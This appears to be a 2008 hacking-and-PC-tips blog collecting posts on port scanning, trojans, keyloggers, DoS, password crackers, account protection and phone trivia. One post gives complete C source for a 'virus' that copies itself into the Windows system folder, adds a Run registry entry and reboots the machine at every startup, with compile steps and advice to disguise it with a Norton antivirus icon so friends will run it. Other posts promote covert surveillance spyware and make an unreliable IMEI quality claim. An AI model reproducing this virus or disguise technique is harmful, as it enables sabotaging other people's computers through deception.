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10 Tips To Enhance Your PC Security

Email Tracking

Port Scanning

2008-11-07T18:45:00.005+05:30

Port Scanning is one of the most popular techniques used by hackers to discover services that can be compromised.

A potential target computer runs many 'services' that listen at ‘well-known’ 'ports'.
By scanning which ports are available on the victim, the hacker finds potential vulnerabilities that can be exploited.
Scan techniques can be differentiated broadly into Vanilla, Strobe, Stealth, FTP Bounce, Fragmented Packets, Sweep and UDP Scans.

Port Scanning Techniques

Port Scanning Techniques can be broadly classified into:

Open scan
Half- open scan

Stealth scan

Sweeps

Misc

Commonly used tools for port scanning

1. Tool: ipEye, IPSecScan

2. Tool: SuperScan 3.0

3. Tool: NMap (Network Mapper)

4. Tool: NetScan Tools Pro 2003

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Proxy Servers and Anonymizers

2008-11-07T18:10:00.003+05:30

Proxy is a network computer that can serve as an intermediate for connection with other computers. They are usually used for the following purposes:

As firewall, a proxy protects the local network from outside access.

As IP-addresses multiplexer, a proxy allows to connect a number of computers to Internet when having only one IP-address.

Proxy servers can be used (to some extent) to anonymize web surfing.

Specialized proxy servers can filter out unwanted content, such as ads or 'unsuitable' material.

Proxy servers can afford some protection against hacking attacks.

Anonymizers

Anonymizers are services that help make your own web surfing anonymous.

The first anonymizer developed was Anonymizer.com, created in 1997 by Lance Cottrell.

An anonymizer removes all the identifying information from a user’s computers while the user surfs the Internet, thereby ensuring the privacy of the user.

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Keyloggers (Keystroke Loggers)

2008-11-07T18:05:00.001+05:30

Keystroke loggers are stealth software that sits between keyboard hardware and the operating system, so that they can record every key stroke.

There are two types of keystroke loggers:

1. Software based and
2. Hardware based.

Spy ware: Spector (http://www.spector.com/)

Spector is a spy ware and it will record everything anyone does on the internet.

Spector automatically takes hundreds of snapshots every hour, very much like a surveillance camera. With spector, you will be able to see exactly what your surveillance targets have been doing online and offline.

Spector works by taking a snapshot of whatever is on your computer screen and saves it away in a hidden location on your computer's hard drive.

Hacking Tool: eBlaster (http://www.spector.com/)

eBlaster lets you know EXACTLY what your surveillance targets are doing on the internet even if you are thousands of miles away.
eBlaster records their emails, chats, instant messages, websites visited and keystrokes typed and then automatically sends this recorded information to your own email address.

Within seconds of them sending or receiving an email, you will receive your own copy of that email.

Hacking Tool: (Hardware Keylogger) (http://www.keyghost.com)

The Hardware Key Logger is a tiny hardware device that can be attached in between a keyboard and a computer.

It keeps a record of all key strokes typed on the keyboard. The recording process is totally transparent to the end user.

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What Is Phishing?

Trojans and Backdoors

2008-11-07T18:00:00.001+05:30

A Trojan horse is an unauthorized program contained within a legitimate program. This unauthorized program performs functions unknown (and probably unwanted) by the user.

It is a legitimate program that has been altered by the placement of unauthorized code within it; this code performs functions unknown (and probably unwanted) by the user.

Any program that appears to perform a desirable and necessary function but that (because of unauthorized code within it that is unknown to the user) performs functions unknown (and definitely unwanted) by the user.

Working of Trojans

Attacker gets access to the trojaned system as the system goes online
By way of the access provided by the trojan attacker can stage attacks of different types.

Various Trojan Types

Remote Access Trojans
Password Sending Trojans
Keyloggers
Destructive
Denial Of Service (DoS) Attack Trojans
Proxy/Wingate Trojans
FTP Trojans
Software Detection Killers

Modes of Transmission

Attachments
Physical Access
Browser And E-mail Software Bugs
NetBIOS (File Sharing)
Fake Programs
Un-trusted Sites And Freeware Software

Backdoor Countermeasures

Most commercial ant-virus products can automatically scan and detect backdoor programs before they can cause damage (Eg. before accessing a floppy, running exe or downloading mail)
An inexpensive tool called Cleaner (http://www.moosoft.com/cleanet.html) can identify and eradicate 1000 types of backdoor programs and trojans.
Educate your users not to install applications downloaded from the internet and e-mail attachments.

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Denial Of Service Attack

2008-11-07T15:25:00.007+05:30

Its Real,On February 6th, 2000, Yahoo portal was shut down for 3 hours. Then retailer Buy.com Inc. (BUYX) was hit the next day, hours after going public. By that evening, eBay (EBAY), Amazon.com (AMZN), and CNN (TWX) had gone dark. And in the morning, the mayhem continued with online broker E*Trade (EGRP) and others having traffic to their sites virtually choked off.

What is a Denial Of Service Attack?

A denial of service attack (DOS) is an attack through which a person can render a system unusable or significantly slow down the system for legitimate users by overloading the resources, so that no one can access it.

If an attacker is unable to gain access to a machine, the attacker most probably will just crash the machine to accomplish a denial of service attack.

Types of denial of service attacks

There are several general categories of DoS attacks.Popularly, the attacks are divided into three classes:

bandwidth attacks,
protocol attacks, and
logic attacks

What is Distributed Denial of Service Attack?

An attacker launches the attack using several machines. In this case, an attacker breaks into several machines, or coordinates with several zombies to launch an attack against a target or network at the same time.

This makes it difficult to detect because attacks originate from several IP addresses.

If a single IP address is attacking a company, it can block that address at its firewall. If it is 30000 this is extremely difficult.

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How to Chat Privately without using Yahoo Messenger or Gtalk ?

2008-10-25T19:55:00.011+05:30

Most of us are familiar with the most widely used applications such as Yahoo messenger and Gtalk to carry out chatting with our friends.As we all know the information we exchange with their servers(Yahoo or Gtalk) are recorded and stored along with the corresponding IP addresses.This may hurt our privacy since all the information we exchange while chatting has to pass through a third party server.

Moreover if the matter is highly confidential, then it is necessary to have a totally private chat where the messages are exchanged only between the people involved in the chat and not with any other third party servers.

So, how to carry out a private chat?

For this purpose there exists many softwares that support's you to host a web-based chat system without any additional software or services.So with these softwares the exchange of messages takes place directly between the two persons engaging in the chat and will not pass through any other third party server.This ensures 100% privacy.

One of my favorite program for private chat is Easy Chat Server

Easy Chat Server is a Windows program that allows you to host a web-based chat system without any additional software or services. Unlike other chat server, you do not need to install Java. It allows you to build one or more web-based chat rooms on your machine, and provides advanced chat functionalities aiming to offer discussion space for your users, customers and partners.

Here are some of the screenshots of Easy Chat Server.

Key Features of Easy Chat Server:

Easy to use, Simple installation that will have you up and running in minutes.
128-Bit Security Socket Layer(SSL) support. support for server level certificate creation.
Instantly runs a complete chat server on your PCs - does not need to install any Web Server.
Supports full private messaging and One to One private chat.
Support of images, smileys, avatar icons.
Full chat and access logs are available within the chat server.
Have a built-in IP Filter, supports banning/unbanning IP address, securely.
Multiple styles available for the user to customize rooms.
Unlimited rooms and users, no any annual, per-user, or maintenance fees.
No spyware, adware or other unwanted extra programs.

Here is a download link for Easy Chat Server.

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Creating a Virus to restart the Computer at every Startup

2008-10-17T13:49:00.010+05:30

Today I will show you how to create a virus that restarts the computer upon every startup.That is, upon infection, the computer will get restarted every time the system is booted.This means that the computer will become inoperable since it reboots as soon as the desktop is loaded.

For this, the virus need to be doubleclicked only once and from then onwards it will carry out rest of the operations.And one more thing,none of the antivirus softwares detect's this as a virus.I have coded this virus in C.So if you are familiar with C language then it's too easy to understand the logic behind the coding.

Here is the source code.

#include<stdio.h>
#include<dos.h>
#include<dir.h>

int found,drive_no;char buff[128];

void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst("C:\\windows\\system",&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst("C:\\windows\\system\\sysres.exe",&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst("D:\\windows\\system",&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst("D:\\windows\\system\\sysres.exe",&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst("E:\\windows\\system",&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst("E:\\windows\\system\\sysres.exe",&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst("F:\\windows\\system",&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst("F:\\windows\\system\\sysres.exe",&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}

void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],"rb"); //The virus file open's itself
switch(drive_no)
{
case 1:
target=fopen("C:\\windows\\system\\sysres.exe","wb"); //to place a copy of itself in a remote place
system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe"); //put this file to registry for starup
break;

case 2:
target=fopen("D:\\windows\\system\\sysres.exe","wb");
system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe");
break;

case 3:
target=fopen("E:\\windows\\system\\sysres.exe","wb");
system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe");
break;

case 4:
target=fopen("F:\\windows\\system\\sysres.exe","wb");
system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe");
break;

default:
exit(0);
}

while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}

else
system("shutdown -r -t 0"); //if the system is already infected then just give a command to restart
}

NOTE: COMMENTS ARE GIVEN IN GREEN COLOUR.

Compiling The Scource Code Into Executable Virus.

1. Download the source code here
2. The downloaded file will be Sysres.C
3. Compile it in any 32-Bit compiler (Borland C++ 5.5 or higher is recommended)
4. The resulting .exe file is a virus and once you execute it will infect the system.

Testing And Removing The Virus From Your PC

You can compile and test this virus on your own PC without any fear.To test, just doubleclick the sysres.exe file and restart the system manually.Now onwards ,when every time the PC is booted and the desktop is loaded, your PC will restart automatically again and again.
It will not do any harm apart from automatically restarting your system.After testing it, you can remove the virus by the following steps.

1. Reboot your computer in the SAFE MODE
2. Goto X:\Windows\System (X can be C,D,E or F)
3.You will find a file by name sysres.exe, delete it.
4.Type regedit in run.You will goto registry editor.Here navigate to

HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run

There, on the right site you will see an entry by name "sres".Delete this entry.That's it.You have removed this Virus successfully.

Logic Behind The Working Of The Virus

If I don't explain the logic(Algorithm) behind the working of the virus,this post will be incomplete.So I'll explain the logic in a simplified manner.Here I'll not explain the technical details of the program.If you have further doubts please pass comments.

LOGIC:
1. First the virus will find the Root partition (Partition on which Windows is installed).
2. Next it will determine whether the Virus file is already copied(Already infected) into X:\Windows\System
3. If not it will just place a copy of itself into X:\Windows\System and makes a registry entry to put this virus file onto the startup.
4. Or else if the virus is already found in the X:\Windows\System directory(folder), then it just gives a command to restart the computer.

This process is repeated every time the PC is restarted.

NOTE: The system will not be restarted as soon as you double click the Sysres.exe file.The restarting process will occur from the next boot of the system.

AND ONE MORE THING BEFORE YOU LEAVE(This Step is optional)

After you compile, the Sysres.exe file that you get will have a default icon.So if you send this file to your friends they may not click on it since it has a default ICON.So it is possible to change the ICON of this Sysres.exe file into any other ICON that is more trusted and looks attractive.

For example you can change the .exe file's icon into Norton antivirus ICON itself so that the people seeing this file beleives that it is Norton antivirus. Or you can change it's ICON into the ICON of any popular and trusted programs so that people will definitely click on it.

The detailed tutorial on changing the ICON is given in my post How To Change The ICON Of An EXE File .

WARNING: THIS POST IS FOR EDUCATIONAL PURPOSE ONLY.DO NOT MISUSE IT.

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How to Change the ICON of an EXE file ?

2008-10-17T10:44:00.006+05:30

Some times it becomes necessary to change the ICON of an executable(.exe) file so that the exe file get's a appearence.Many of the Tools such as TuneUP Winstyler does this job by adjusting the Windows to display a custom icon to the user.But in reality when the file is carried to a different computer, then it shows it's original ICON itself.This means that inorder to permanantly change the ICON, it is necessary to modify the executable file and embed the ICON inside the file itself.Now when this is done the exe file's ICON is changed permanantly so that even if you take file to a different computer it show's a new icon.

For this purpose I have found a nice tool which modifies the exe file and will embed the ICON of your choice into the file itself. ie:The tool changes the exe ICON permanantly.

I'll give you a step-by-step instruction on how to use this tool to change the icon.

1. Goto www.shelllabs.com and download the trial version of Icon Changer and install it (Works on both XP and Vista).

2. Right-click on the exe file whose ICON is to be changed.

3. Now you will see the option Change Icon...Click on that option.

4. Now the Icon Changer program will open up.

5. Icon changer will search for all the ICONS on your system so that you can select any one of those.

6. Now select the ICON of your choice and click on SET.

7. Now a popup window will appear and ask you to select from either of these two options.

Change embeded icon.
Adjust Windows to display custom icon.

Select the first option (Change embeded icon).

8. You are done.The ICON get's changed.

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How to Protect an Email Account from being hacked ?

2008-10-14T11:11:00.011+05:30

Today in this post I'll teach you how to protect your email account from being hacked.Nowadays I get a lot of emails where most of the people say "My Email account is hacked please help...".Now one question which arises in our mind is:"Is it so easy to hack an email account? OR Is it so difficult to protect an email account from being hacked?".The single answer to these two questions is "Absolutely NOT!".It is neither easy to hack an email nor difficult to protect it from bieng hacked.

If this is the case, then what is the reason for many people to loose their accounts?
The answer is very simple.They don't know how to protect themselves from being hacked! In fact most of the people who loose their email accounts are not the victims of hacking but the victims of Trapping.They loose their passwords not because they are hacked by some expert hackers but they are fooled to such an extent that they themselves give away their password.

Are you confused? If so continue reading and you'll come to know...

Now I'll mention some of the most commonly used online scams which fool people and make them loose their passwords.I'll also mention how to protect yourselves from these scams.

1. WEBSITE SPOOFING

Website spoofing is the act of creating a website, with the intention of misleading the readers.The website will be created by a different person or organisation (Other than the original)especially for the purposes of cheating. Normally, the website will adopt the design of the target website and sometimes has a similar URL.

For example a Spoofed Website of Yahoo.com appears exactly same as Yahoo Website.So most of the people beleive that it is the original site and loose their passwords.The main intention of spoofed websites is to fool users and take away their passwords.For this,the spoofed sites offer fake login pages.These fake login pages resemble the original login pages of sites like Yahoo,Gmail,Orkut etc.Since it resemble's the original login page people beleive that it is true and give away their username and passwords by trying to login to their accounts.

Solution:

Never try to login/access your email account from the sites other than the original site.
Always type the URL of the site in the address bar to get into the site.Never click on the hyperlink to enter the site.

2. BY USING KEYLOGGERS

The other commonly used method to steal password is by using a Keylogger.Keylogger is nothing but a spyware.The detailed description of keylogger and it's usage is discussed in the post Hacking an email account.If you read this post you'll come to know that it is too easy to steal the password using a keylogger program.If you just access your email account from a computer installed with keylogger, you definitely loose your password. This is because the keylogger records each and every keystroke that you type.

Solution:

Protecting yourselves from a keylogger scam is very easy.Just install a good anti-spyware program and update it regularly.This keeps your PC secure from a keylogger.Also there is a program called Anti-keylogger which is specially designed to detect and remove keyloggers.You can use this program to detect some stealth keyloggers which remain undetected by many anti-spyware programs.

3. ACCESSING YOUR EMAIL ACCOUNT FROM CYBER CAFES

Do you access your email from cyber cafes? Then definitely you are under the risk of loosing your password.In fact many people loose their email account in cyber cafes.For the owner of the cyber cafe it's just a cakewalk to steal your password.For this he just need's to install a keylogger on his computers.So when you login to your email account from this PC, you give away your password to the cafe owner.Also there are many Remote Administration Tools (RATs) which can be used to monitor your browsing activities in real time.

This doesn't mean that you should never use cyber cafes for browsing the internet.I know,all the cyber cafe owners will not be so wicked but it is recommended not to use cafes for accessing confidential information.If it comes to the matter of security never trust anyone,not even your friend.I always use my own PC to login to my accounts to ensure safety.

So with this I conclude my post and assume that I have helped my readers to protect their email accounts from being hacked.Please pass you comments...

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Hack Protect your Orkut Account

2008-10-10T20:15:00.005+05:30

Most of the people ask me "How to hack an Orkut account" which I have already discussed in my previous post Hacking Orkut .But here I am giving you a detailed information about how to protect your Orkut accounts.As we all know most of the Google services are still in BETA.So,websites like Orkut, powered by Google is not totally secure!Several people feel proud in hacking other user's account. You do a foolish thing, and next day your account is hacked. This is very sad indeed, but hackers are adding names to their victims list till now.

How can a hacker hack my Orkut account?
The answer to this question is already discussed in my previous post Hacking Orkut.

But this post is meant for providing some safety measures to prevent your Orkut account from being hacked.There is not much you have to take care of. Just follow the simple steps and never get your orkut account hacked in your life.

1. Never try to login/access your Orkut account from sites other than Orkut.com.

2. Never click on any links from the sources you don't trust while accessing your Orkut account.(or while accessing any other Google services like Gmail,Blogger etc.)

3. Delete any links on your scrapbook, no matter if a known or unknown person have sent it.

4. Never disclose your orkut login details with anyone.

5. Never ever use Javascripts on Orkut, no matter whatever it claims to do.Get satisfied with the services provided by default! Avoid using third party Scripts which might be malicious.

6. Never get excited to see a site claiming to have 1000 cool orkut tricks for which you have to just log in to your orkut account. Don't trust that site. That's a phishing site.

7. Never tick the box "REMEMBER ME" on the orkut homepage if you are surfing from a cafe or a public area.

8. Always remember to hit Sign out button, when you are done.

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Free Tools for Spyware Removal

2008-10-07T22:32:00.008+05:30

There are lot of PC users who know only little about "Spyware", "Malware", "hijackers", "Dialers" & many more. This article will help you avoid pop-ups, spammers and all those baddies.

What is spy-ware?
Spyware is computer software that is installed surreptitiously on a personal computer to intercept or take partial control over the user's interaction with the computer, without the user's informed consent.The term spyware suggests software that secretly monitors the user's behavior.Spyware programs can collect various types of personal information, such as Internet surfing habit, sites that have been visited etc.

How to check if a program has spyware?
It is this little site that keeps a database of programs that are known to install spyware.

Check Out: SpywareGuide

How To Block Pop-Ups?
If you would like to block pop-ups (IE Pop-ups) there are tons of different tools out there, but these are the two best, I think.

Try: Google Toolbar - This tool is a Freeware.
Try: AdMuncher - This tool is a Shareware.

How To Remove Spywares?
If you want to remove spwares then you may try the following tools/programs

Try: Lavasoft Ad-Aware - This tool is a freeware.
Info: Ad-aware is a multi spyware removal utility, that scans your memory, registry and hard drives for known spyware components and lets you remove them. The included backup-manager lets you reinstall a backup, offers and multi language support.

Try: Spybot-S&D - This tool is a freeware.
Info: Detects and removes spyware of different kinds (dialers, loggers, trojans, user tracks) from your computer. Blocks ActiveX downloads, tracking cookies and other threats. Over 10,000 detection files and entries. Provides detailed information about found problems.

Try: Spy Sweeper - This tool is a shareware.
Info: Detects and removes spyware of different kinds (dialers, loggers, trojans, user tracks) from your computer.The best scanner out there, and updated all the time.

Try: BPS Spyware and Adware Remover - This tool is a shareware.
Info: Adware, spyware, trackware and big brotherware removal utility with multi-language support. It scans your memory, registry and drives for known spyware and lets you remove them. Displays a list and lets you select the items you'd like to remove.

How To Prevent Spyware?
To prevent spyware attack you can try the following tools.

Try: SpywareBlaster - This tool is a freeware.
Info: SpywareBlaster doesn't scan and clean for so-called spyware, but prevents it from being installed in the first place. It achieves this by disabling the CLSIDs of popular spyware ActiveX controls, and also prevents the installation of any of them via a webpage.

Try: XP-AntiSpy - This tool is a freeware.
Info: XP-AntiSpy is a small utility to quickly disable some built-in update and authentication features in WindowsXP that may rise security or privacy concerns in some people.

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Hack/Alter Windows Vista Base Score

2008-10-05T17:22:00.006+05:30

If you are a Windows Vista user then you are very likely to be familiar with the Base Score.This score is calculated based on the computer's hardware and software configuration.This score act's as a rating to your PC.If you have a too low base score then don't worry.Hacking Windows Vista's so called Base Score is very easy.It is possible to hack this score within no time.Here are the snapshots of my own system.Actually my system's base score is 3.7.But I have brought it up to 9.5 with this small hack.Can you beleive this!!

Here is a step-by-step instruction to hack Vista Base score

1. Navigate to C:\Windows\Performance\WinSAT\DataStore

2. You should see a .xml file with Assessment (Formal).WinSAT as filename

3. Right-click it and select open with 'Wordpad' (Not notepad!)

4. On line 12, you should see something like the following:

4. You can enter any number in the place where I have written 9.5.But the number should be less than 10.

5. Once you have entered the number of your choice save the file and close it.

6. That's it.You have successfully altered your Windows Vista base score.No restart is required.

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How to Copy Youtube Videos - An Easy Working way

2008-10-05T14:04:00.008+05:30

Here is the most easiest and working way to copy Youtube videos and convert it into other formats such as MPEG,MP4,3GP etc.Most of the sites give you some confusing and very hard method to copy videos from Youtube but here I am presenting you with an easy way.Here is step-by-step guide to copy Youtube videos.

STEP-1. DOWNLOADING THE VIDEO FROM YOUTUBE

Basically the video from Youtube will be in the .flv format.The .flv stands for Flash Video format developed by adobe systems.So first you have to download and save this .flv file from the Youtube to your PC before you convert it into your favorite format.

First find the URL of the the desired youtube video.The URL of the video will be usually in the following format as shown below.

http://www.youtube.com/watch?v=SwKmKEBp9lc

If it is country specific, the video URL may also be in the following format.

http://in.youtube.com/watch?v=SwKmKEBp9lc (Here in stands for India)

You can find this URL in the Youtube site itself beside or below the video.Now once you get this video URL you can use any one of the following plugins to download the videos in the .flv format.

KissYouTube - KissYouTube offers an easiest way to download the Youtube videos.Just visit the site and you'll find a box to enter the video URL.In this box enter the URL of the video you want to download and click on GO.Next you will see a Download Button at the bottom.Click on it and save the video with the extension as .flv .

DownloadHelper - DownloadHelper is an excellent firefox plugin to download videos from Youtube.

MyVideoDownloader - MyVideoDownloader Downloads and converts videos from many sites, not just YouTube.

STEP-2. CONVERTING THE VIDEO FROM .FLV TO OTHER FORMATS

Once you have downloaded the video and have the video in the .flv format you can use any of the freely available/commercial video conversion softwares to convert the video into the desired format.But here in this tutorail I prefer OJOsoft Total Video Converter to convert the video into other formats.The speciality of this video convertor is that it supports almost all the formats.You can convert the Youtube video into the following formats

AVI
MP4
3GP
MPEG
VOB
MOV (Quick time video)
WMV
And many other formats

OJOsoft Total Video Converter also allows you to specify the attributes of your output video such as Bitrate,Framesize,Resolution etc.So according to me this is one of the best video conversion software available.Not only for Youtube videos, you can also use this convertor for converting other videos also.

Once you convert the Youtube video to MPEG format you'll be able to paly it with Windows Media Player.If you want to play it on your mobile devices then you may also convert it into .3GP of .MP4 formats.

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Essential Hacking Tools for every Hacker

2008-09-28T19:09:00.008+05:30

Here is a list of all the essential hacking tools that every hacker should possess.Here in this post I will give details of different Hacking/Security tools and utilities along with the download links.I have also divided these tools into their respective categories for ease of understanding.

NETWORK SCANNERS AND TCP/IP UTILITIES

1. IP TOOLS

IP-Tools offers many TCP/IP utilities in one program. This award-winning program can work under Windows 98/ME, Windows NT 4.0, Windows 2000/XP/2003, Windows Vista and is indispensable for anyone who uses the Internet or Intranet.

It includes the following utilities

Local Info - examines the local host and shows info about processor, memory, Winsock data, etc.
Name Scanner - scans all hostnames within a range of IP addresses
Port Scanner - scans network(s) for active TCP based services
Ping Scanner - pings a remote hosts over the network
Telnet - telnet client
HTTP - HTTP client
IP-Monitor - shows network traffic in real time & many more

IP TOOLS has almost all the utilities built into it.So there is no need to use seperate tools for every indivisual process of hacking such as Port scanning,Whois scanning,IP monitor etc.It's like a hacking tool kit which has all the necessary tools for hacking.

2. NMAP

Nmap is a similar hacking/security tool as IP Tools which offer slightly different set of features.Unlike IP Tools Nmap is a freeware.It is designed to rapidly scan large networks, although it works fine against single hosts.Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. Nmap runs on most types of computers and both console and graphical versions are available

Download Nmap Here

PASSWORD CRACKERS

1. LC4 (For Windows Password Recovery)

LC4 is the award-winning password auditing and recovery application, L0phtCrack. It provides two critical capabilities to Windows network administrators:

LC4 helps administrators secure Windows-authenticated networks through comprehensive auditing of Windows NT and Windows 2000 user account passwords.

LC4 recovers Windows user account passwords to streamline migration of users to another authentication system or to access accounts whose passwords are lost.

Donload LC4 Here

2. SAMINSIDE (For Windows Password Recovery)

SAMInside is designated for the recovery of Windows NT/2000/XP/2003/Vista user passwords.

The following are some of the highlighting features of Saminside.

The program doesn't require installation.It can be directly run from CD,Disk or Pendrive.
Includes over 10 types of data import and 6 types of password attack

Brute-force attack
Distributed attack
Mask attack
Dictionary attack
Hybrid attack
Pre-calculated tables attack

Run's very fast since the program is completely written in assembler.

As far as my opinion is concerned both LC4 and SAMINSIDE are powerful password crackers for cracking Windows Passwords.However LC4 has slightly upper hand over Saminside.I recommend LC4 for advanced users but Saminside is more suitable for novice users.

You Can Get Saminside From Here

3. MESSENPASS (For Instant Messenger Password Recovery)

Messenpass is a password recovery tool for instant messengers.It can be used to recover the lost passwords of yahoo messenger or windows messenger.It is too easy to use this tool.Just double-click this tool and it reveals the username and passwords that are stored in the system.

Download MessenPass Here

REMOTE ADMINISTRATION TOOLS (RAT)

RADMIN

Radmin (Remote Administrator) is the world famous, award winning secure remote control software and remote access software which enables you to work on a remote computer in real time as if you were using its own keyboard and mouse.

Radmin has the following features.

Access and control your home and office computer remotely from anywhere
Perform systems administration remotely
Provide Help Desk (remote support) functions for remote users
Work from home remotely
Manage small, medium, and large networks remotely
Organize online presentations and conferences
Share your desktop
Teach and monitor students' activities remotely

I have used Radmin personally and recommend this software to everyone.It works great!

Download Radmin Here

Most of the above tools are shareware which means that you have to pay for them.But they are really worth for their money.Most of the time freewares offer limited functionality/features than the sharewares and hence I recommend them to my visitors.But still you can get 99% of all the softwares for free (cracked versions) on the internet.I will not discuss about how/where to download the cracked versions of the softwares for obvious reasons.It's all up to you how you get these softwares.

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10 Tips to Enhance your PC Security

2008-09-25T22:11:00.008+05:30

Today almost everyone of us have a PC with an internet connection but how many of us think about it's security? In fact most of the people are least bothered about their PC's security.Especially if you have an internet connection safeguarding your PC against network threats is a must.If your PC is not secured then it might be vulnerable to various threats.The threat may be as simple as a virus which corrupts your data or as complex as an identity theft where there are chances of huge loss of money.Did you know that unsecured PCs can be hijacked in minutes ? If you are really concerned about PC security then here are the top 10 security enhancements for your PC.

1. Check Windows Update.Windows Me, 2000, and XP users can configure automatic updates. Click on the Automatic Updates tab in the System control panel and choose the appropriate options.

2. Install a good Antivirus software and update it regularly.An Antivirus without updates is of no use.

3. Install a personal firewall. Both SyGate (http://www.sygate.com/) and ZoneAlarm (http://www.zonelabs.com/) offer free versions.

4. Install a good Antispyware.(Antivirus with built-in antispyware is a go0d choice)

5. Use strong passwords and change them periodically. Passwords should have at least seven characters; use letters and numbers and have at least one symbol. A decent example would be f8izKro#l. This will make it much harder for anyone to gain access to your accounts.

6. If you're using Outlook or Outlook Express, use the current version or one with the Outlook Security Update installed. The update and current versions patch numerous vulnerabilities.

7. Be skeptical of things on the Internet. Don't blindly assume that an email "From:" a particular person is actually from that person since it is possible to send a fake email.

8. Check for Versign SSL (Secure Sockets Layer) Certificate (Or logo) before you make any ecommerce transaction (Credit card transaction) with a website.

9. Never disable the Auto-Protect feature of your Antivirus.If your Antivirus doesn't have Auto-Protect feature then manually scan the files before you execute them.

10. Never give out your passwords to anyone at any time even if the person claims to be from "support."

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Unlocking the iphone

2008-09-24T21:26:00.010+05:30

As we all know, iPhone is Subscriber Identity Module (SIM) locked. This means iphone was designed for and can be used by one carrier—AT&T in the United States—and offers a limited set of iPhone-compatible voice and data plans. Within weeks of its release, a hacker named iZsh created a tool named iASign, which allowed iPhone owners to unlock and use their phones with AT&T/Cingular plans that were not designed for the iPhone, including pay-as-you-go plans.

A month or two later, the iPhone Dev Team hackers released the iUnlock and anySIM tools (see Figure above), which allowed the iPhone to be unlocked and used with any Global System for Mobile communications (GSM) SIM from around the world.Within days of its release, the iPhone had been unlocked and used in dozens of countries,from Malaysia to Jamaica and from Norway to Pakistan.

Reacting to the iPhone Unlock tool, Steve Jobs said, “It’s a cat-and-mouse game. We try to stay ahead. People will try to break in, and it’s our job to stop them breaking in.” In late September 2007, Apple issued the following statement in a press release:

Apple has discovered that many of the unauthorized iPhone unlocking programs available on the Internet cause irreparable damage to the iPhone’s software,which will likely result in the modified iPhone becoming permanently inoperable when a future Apple-supplied iPhone software update is installed.Apple plans to release the next iPhone software update,containing many new features including the iTunes Wi-Fi Music Store(http://www.itunes.com/), later this week.Apple strongly discourages users from installing unauthorized unlocking programs on their iPhones.Users whomake unauthorized modifications to the software on their iPhone violate their iPhone software license agreement and void their warranty.The permanent inability to use an iPhone due to installing unlocking software is not covered under the iPhone’s warranty.

After releasing firmware update 1.1.1 for iPhone, Apple refused warranty service to bothunlocked phones and phoneswith third-party applications. Caveat emptorand hacker beware.

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Is your Nokia Cell Phone Original ?

2008-09-23T22:41:00.009+05:30

Nokia is one of the largest selling phones across the globe.Most of us own a Nokia phone but are unaware of it's originality.Are you keen to know whether your Nokia mobile phone is original or not? Then you are in the right place and this information is specially meant for you. Your phones IMEI (International Mobile Equipment Identity) number confirms your phone's originality.

Press the following on your mobile *#06# to see your Phone's IMEI number(serial number).

Then check the 7th and 8th numbers

Phone serial no. x x x x x x ? ? x x x x x x x

IF the Seventh & Eighth digits of your cell phone are 02 or 20 this means your cell phone was assembled in Emirates which is very Bad quality

IF the Seventh & Eighth digits of your cell phone are 08 or 80 this means your cell phone was manufactured in Germany which is fair quality

IF the Seventh & Eighth digits of your cell phone are 01 or 10 this means your cell phone was manufactured in Finland which is very Good

IF the Seventh & Eighth digits of your cell phone are 00 this means your cell phone was manufactured in original factory which is the best Mobile Quality

IF the Seventh & Eighth digits of your cell phone are 13 this means your cell phone was assembled in Azerbaijan which is very Bad quality and also dangerous for your health.

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Top Reasons why you shouldn't buy an iphone

2008-09-22T19:49:00.012+05:30

Are you planning to buy an iphone ? If so then this post is a must read for you.The much hyped iPhone 3G was launched in India a few weeks back and we have seen many issues and open security flaws in the new iPhone.Here I have some of the top reasons for which you shouldn't buy an iphone.

The worst thing is that you cannot forward a SMS message!! Don't think that I am foolish, but really your iPhone 3G can't forward a simple SMS. You'll have to retype the SMS and forward it.

There is NO copy / paste functionality. So you need to remember the texts and type again as you go.

Bluetooth functionality is only limited to headset use. You can't do any file transfer over Bluetooth.So if you are planning to share your songs or photos with your friends then forget about it!

Absolutely no camera settings - it's just like some ancient digital camera which does only point and shoot functionality.No Flash,No Zoom functionality.

Photos taken in a VGA camera is better than that of iphone!

The iPhone 3G is simply overpriced in India (Costs almost twice the price as in US)

It's in built Safari web browser does not support Flash as well as Java.

There is No office document editor. Most Nokia's come with inbuilt editor's for Word / Excel.

The iPhone doesn't has AD2P on the Bluetooth - which means you can't get stereo sound via Blue Tooth headphones, that's a big disappointment for the music fans.

The iPhone doesn't has a Removable battery. Yes - you cannot change the battery yourself. Apple expects you to send the phone to an Apple Outlet to replace the battery. Now if you travel too much - what are you gonna do? Look for an Apple Store to interchange the travel battery?

iPhone doesn't has an option to send MMS. Forget about MMS.

Though you can't sent MMS - You can't receive MMS messages too!

You can't set your personal songs as ring tones!

The iPhone's screen is not Finger Print Resistant. Since the iPhone is a touch screen phone so it is bound to get your finger print's each time you touch so it gets dirty very easily.

